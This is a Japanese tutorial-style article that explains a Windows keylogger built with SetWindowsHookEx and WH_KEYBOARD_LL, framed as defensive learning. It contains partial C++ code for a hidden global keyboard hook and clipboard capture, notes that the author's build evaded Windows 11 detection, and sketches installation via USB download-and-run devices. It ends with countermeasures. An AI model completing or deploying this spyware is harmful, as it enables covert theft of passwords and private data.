キーロガーは、キーボード入力を監視・記録するソフトウェアの総称。本記事では C++ と WinAPI の Windows フック (SetWindowsHookEx + WH_KEYBOARD_LL) を使い、システム全体のキー入力とクリップボードを記録する仕組みを実装する。低レベル入力処理 / コールバック関数 / メッセージループ / バックグラウンド常駐といった Windows OS の動作を体感しながら、マルウェアがどのような仕組みで個人情報を盗むかを防御側の視点から学ぶ。完成品は公開せず、コード断片の解説に留める。
他人の PC に無断でキーロガーを仕込むことは 不正アクセス禁止法 / プライバシー権侵害 / 通信の秘密侵害に抵触する明確な犯罪行為。「家族の PC」「会社の貸与 PC」も他人扱いで、いずれも違法。本実装は 自分が所有する仮想マシン / 専用 PC 上での挙動確認に限定する。完成バイナリは絶対に他人と共有しない / インターネットに公開しない / USB で持ち歩かない。学習目的の倫理ラインを守る前提でのみ意味のある実装。
キーロガーとは #
キーロガー (Keylogger) は、キーボードからの入力を監視し、どのキーが押されたかを記録 (ロギング) するソフトウェアまたはハードウェア。もともとはデバッグやユーザー行動分析などの正当な目的で使われることもあるが、セキュリティの文脈では、パスワード、クレジットカード番号、個人情報などを盗み出すために悪用されるマルウェアの一種として広く知られている。
今回は、Windows の低レベルな動作を学習する目的で、OS の機能 (API) を利用したソフトウェアキーロガーの実装に焦点を当てる。
カフェでパスワードを打っているところを 「肩越しから見ている人」がいたら誰でも怖い。キーロガーは その盗み見を 24 時間自動でやる仕組み。OS の 「キーが押されたら教えて」と通知してもらう公式機能 (フック) を使って、画面表示すら経由せず 「キー入力 → ファイルに記録」を裏で繰り返す。バックグラウンドで静かに動くため、被害者は 侵入された事実そのものに気付かないのが最大の特徴。
実装の仕組み — Windows フック #
Windows OS でシステム全体のキーボード入力を監視するには、Windows フック (Hook) という仕組みを利用するのが一般的。フックとは、特定のイベント (キーボード入力、マウス操作、ウィンドウの生成など) が発生した際に、OS が特定の処理 (コールバック関数) を呼び出すように 割り込ませる機能。
SetWindowsHookEx と WH_KEYBOARD_LL #
今回の実装では、SetWindowsHookEx という WinAPI 関数を使用する。この関数は、どの種類のイベントをフックするかを指定して、フックプロシージャ (割り込み処理) を OS に登録する。
HHOOK SetWindowsHookEx(
int idHook, // フックの種類
HOOKPROC lpfn, // フックプロシージャ(コールバック関数)のアドレス
HINSTANCE hMod, // DLLのハンドル(今回はNULL)
DWORD dwThreadId // スレッドID(0でグローバルフック)
);
| 引数 | 内容 |
|---|---|
| idHook | WH_KEYBOARD_LL (Low-Level Keyboard Hook) を指定。システム全体のキーボード入力イベントを、他のどのプロセスに渡るよりも先に (低レベルで) フックする |
| lpfn | キー入力が発生するたびに Windows によって呼び出される、自分が実装する関数のポインタ |
| dwThreadId | 0 を指定することで、システム全体 (全てのプロセス) のキー入力を対象とする |
フックプロシージャ (KeyboardProc) #
SetWindowsHookEx で登録した関数 (フックプロシージャ) は、以下のような形式で定義する必要がある。キーが押されるたびに、この関数が OS から呼び出される。
// キーボードイベントが発生したときに呼び出される関数 (コールバック関数)
LRESULT CALLBACK KeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
| 引数 | 内容 |
|---|---|
| nCode | OS からの指示。nCode < 0 ならこの関数で処理しない、nCode >= 0 なら処理する |
| wParam | イベントタイプ。WM_KEYDOWN (キーが押された)、WM_KEYUP (キーが離された) など |
| lParam | キー情報。KBDLLHOOKSTRUCT 構造体へのポインタが渡され、押されたキーの仮想キーコード (vkCode) が含まれる |
WH_KEYBOARD_LL は 「low-level (低レベル) フック」で、キー入力イベントが他のどのアプリケーションに届くよりも先に、OS が登録された関数を呼び出してくれる。ブラウザの入力欄でも、メモ帳でも、ロック画面の手前でも、すべての入力を 1 箇所で受け取れるのが特徴。マルウェアにとっては魅力的な API で、逆に防御側 (EDR / AV) はこの API の呼び出しを 「キーロガーの兆候」として検知している。
C++ によるコード解説 #
以下は、キー入力をコンソールに出力し、Log.txt ファイルに追記するキーロガーの基本的なコード例。エラー処理などは簡略化している。
メインロジック (WinMain) #
フックを設定し、プログラムが終了しないように メッセージループ を回し続ける。バックグラウンドで動作させるため、通常の main 関数ではなく WinMain を使用し、コンソールウィンドウを非表示にしている。
#include <Windows.h>
#include <fstream>
#include <string>
#include <vector>
// ログファイルの名前を定義
const char* LOG_FILE = "Log.txt";
// グローバルなフックハンドル
HHOOK hHook = NULL;
// Windowsアプリケーションのエントリーポイント
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
// ウィンドウクラスの登録 (クリップボード監視用)
const WCHAR CLASS_NAME[] = L"ClipboardMonitorClass";
WNDCLASSW wc = {};
wc.lpfnWndProc = ClipboardMonitorProc;
wc.hInstance = hInstance;
wc.lpszClassName = CLASS_NAME;
RegisterClassW(&wc);
// メッセージ専用ウィンドウの作成 (非表示)
HWND hWnd = CreateWindowExW(
0, CLASS_NAME, L"Clipboard Monitor", 0, 0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL
);
if (hWnd == NULL) return 1;
// クリップボードリスナーを追加
if (!AddClipboardFormatListener(hWnd)) return 1;
// キーボードフックを設定
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hHook == NULL) return 1;
// プログラムが終了しないようにメッセージループを実行
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
RemoveClipboardFormatListener(hWnd);
UnhookWindowsHookEx(hHook);
return 0;
}
クリップボード監視用のウィンドウプロシージャ #
クリップボードが更新された場合に WriteClipboardDataToFile() を呼び出す。
LRESULT CALLBACK ClipboardMonitorProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) {
switch (uMsg) {
case WM_CLIPBOARDUPDATE:
// クリップボードが更新された
WriteClipboardDataToFile();
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
}
法的・倫理的問題から、コード全体 (KeyboardProc の実装 / ログ書き込み部 / Base64 化など) は本記事では公開しない。「学習目的なら自分で組み立てる」のが、悪用される確率を最小化するという編集判断。重要なのはコードそのものではなく、「キー入力がどう OS から取れるか」「OS のフック機構の意義」という概念を理解すること。
脅威 — キーロガーが現実にもたらすリスク #
皆さんも自分の端末以外を操作した経験があると思う。
ネットカフェ、図書館、会社から貸与された PC、家族で共有している端末など、多数あると思うが、もしそのどれかにこのようなプログラムが稼働していた場合、それは大きな脅威となりえる。
このプログラムが稼働していた場合、ログインページでパスワードを入力、プライバシーに関わる検索ワード、仕事の機密情報を扱う場面など、そのどれもがログとして記録されてしまう。
設置の容易さ #
このプログラムは誰もが触れることができる環境にある端末であれば簡単にインストールできる。
例えば、このプログラムをサーバーにアップロードしておき、マイコンに **「PC に接続したらサーバーからプログラムをダウンロードし、実行する」**というコードを書き込み、あとはターゲット端末に接続すれば、自動でダウンロード、インストール、実行が行われてしまう (USB Rubber Ducky / Bash Bunny などのハードウェア)。
そこまで回りくどいことをしなくても、直接 USB を挿してプログラムをコピーすればそれで準備は整ってしまう。
AV 検知の限界 #
このプログラムは外部との通信機能などは持たない、いたってシンプルな構造のため、ウイルスとして検知される可能性も低い。
実際に独自の環境で実行させたが、数時間程度では Windows 11 の最新のセキュリティでも検出しなかった。
シンプルな実装のキーロガー / 短時間の動作 / 外部通信なし、というケースは シグネチャベース AV では検知が極めて難しい。EDR の挙動検知は WH_KEYBOARD_LL の登録 + コンソールを持たないプロセス + 持続化設定の組合せで検知できることが多いが、それでもステルス性は高い。「セキュリティソフトが動いているから絶対安全」は誤った安心感を生む。そもそも他人が PC に物理アクセスする状況を作らないのが最大の対策。
対策と考察 #
対策のレイヤ #
| 対策層 | 内容 |
|---|---|
| 物理アクセス制御 | 重要な PC は離席時に必ずロック (Win+L) / USB ポートに知らない物を挿さない / 自宅でも他人に貸さない |
| EDR / 振る舞い検知 | Microsoft Defender for Endpoint / CrowdStrike / SentinelOne などの EDR は WH_KEYBOARD_LL の登録挙動を検知 |
| 管理者権限の管理 | 普段の操作は非管理者アカウントで行い、UAC で昇格を必要にする (= キーロガーが root レベルで動けない) |
| 公開 / 共有 PC | ネットカフェ・ホテルのビジネスセンター・図書館の PC で重要情報を入力しない |
| MFA の有効化 | パスワードが盗まれても認証が通らない (Authenticator / YubiKey) |
| 入力の補助 | 仮想キーボード / パスワードマネージャの自動入力で物理キー入力を経由させない |
防御側の視点での学習価値 #
自分でこの仕組みを実装することで、**「なぜ AV / EDR がフック登録を監視するのか」「マルウェアがどう常駐するのか」「物理アクセス + 数分でどこまでできるか」**がコードレベルで理解できる。
これは、Blue Team (防御側) として:
- EDR の検知ルールを書く
- インシデント時の挙動を解析する
- セキュリティ研修で **「公共 PC で個人情報を打たない」**理由を技術的に説明する
ための土台になる。
このコードを書き、動かしたうえで 「外部に絶対に持ち出さない」のが、セキュリティ実務者の倫理ラインの引き方。攻撃の仕組みを 100% 理解した防御者は、教科書だけ読んだ防御者より圧倒的に強い。今回の実装で 「肩越しの盗み見は自動化できる」「セキュリティソフトは万能ではない」「物理アクセスは最強の脆弱性」という現実を体感したことは、今後の防御設計の精度を確実に上げる。セキュリティソフトが稼働しているからと慢心せず、端末が置かれた環境を常に意識することが、結局のところ最も効く対策になる。
COMMENTS 0
まだコメントはありません。最初のコメントを投稿しよう。